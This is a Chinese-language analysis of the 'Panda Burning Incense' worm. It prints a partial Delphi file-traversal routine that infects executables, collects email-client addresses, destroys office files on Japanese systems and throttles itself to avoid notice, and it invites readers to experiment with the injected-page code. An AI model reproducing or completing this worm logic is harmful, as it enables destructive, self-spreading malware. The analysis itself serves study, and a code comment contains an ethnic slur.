{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。既如此,那么让我们从Line X开始分析。在确定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。接下来,如果文件为某些网页(扩展名为.HTM、.HTML和.ASP),则继续感染这些网页文件—在网页最后加入类似如下的代码段(本代码摘自某君对一种“熊猫病毒”变体的分析结果):
于是,用户在启动此网页时,即可把URL导航到自己指定的网址(注:读者试验时不妨修改一下其中的URL,还有width和height等参数,效果会更明显)。接下来,程序进一步判断如果当前文件是电子邮件客户端程序相应的邮件地址数据文件,则取得这些地址信息。虽然此处没有说明如何使用它们,但根据普通蠕虫病毒特征,应该是把带有自身(病毒体)的邮件发送到这些邮件地址,进而达到利用网络传播自身的目的。奇怪的是,等程序执行(判断)到语句“if IsJap then”处—此时已经对满足前面特征的文件执行完相应的感染或传播—才判断操作系统是否为日文版本。如果是,则对另外一些常见文件类型(.DOC、.XLS、.MDB…….AVI)进行彻底破坏(调用过程SmashFile彻底摧毁文件)。看起来,这位“烧香”仁兄也是一位“爱国主义”分子。只可惜,在“打倒日本帝国主义”之前,你的广大同胞已经被“焚得焦头烂额”了。